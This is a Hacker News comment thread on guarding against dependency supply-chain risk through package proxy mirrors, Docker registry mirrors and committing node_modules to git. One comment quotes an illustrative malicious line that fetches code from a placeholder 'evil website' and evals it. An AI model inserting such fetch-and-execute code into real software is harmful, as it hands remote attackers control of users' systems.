Hacker News Reader

Comment by mschuster91 | Hacker News Reader

> Gah. Moments like these always gives me a bit of panic, since I realize that so much of my software relies on external sources.

Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it.

What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP composer (because it likes to pull dependencies via git from GH, so no caching there).

View on HN

You can setup mirrors for dockerhub... Or any docker registry.

You also can require image signing such that if an image is signed by an untrusted party it will fail.

> You can setup mirrors for dockerhub... Or any docker registry.

But you can't make dockerd talk to this mirror by default, unless you're running the fossil Redhat fork. That is the problem: if you want to use Docker, you must open up your server to the Internet, and the entire Internet at it as the Docker infrastructure is loadbalanced and there are no guarantees the IPs will stay stable.

Yes you can, that's the purpose of the mirror. To do this you set the "--registry-mirror" option on the daemon.

The RH fork doesn't let you do mirrors, it let's you change the default registry, this is very different.

Just to re-iterate, docker supports mirrors as my sibling poster suggested. :)

Or just don't .gitignore node_modules, then diff any changes to node_modules on update.

Does not work as soon as you use node modules that come with native components that have to be recompiled for the machine, and there are many of these.

Colleagues have been bitten by this - one used OS X 10.11, the other 10.12, and they experienced weird bugs from this. Went away once they kicked out node_modules from git.

Yeah, it’s an annoying problem. Maybe you could gitignore the *.node (the native module file extension) files only. But I’m not sure how you’d rebuild those “on demand” after a checkout without running 'npm install' from the top level.

I suppose npm rebuild would work.

This was the officially recommended solution for long, but suffers from a few issues. Most notably for me is that pull requests that change any dependencies become impossible to read (on github at least).

That has some advantages, but some really big drawbacks as well:

- Incredibly slow git operations unless you use the perfect options every time (good luck, new devs).

- Requires either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read.

- Actually understanding the diffs you read. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.

Thanks for this, will look into it.

Reply on news.ycombinator.com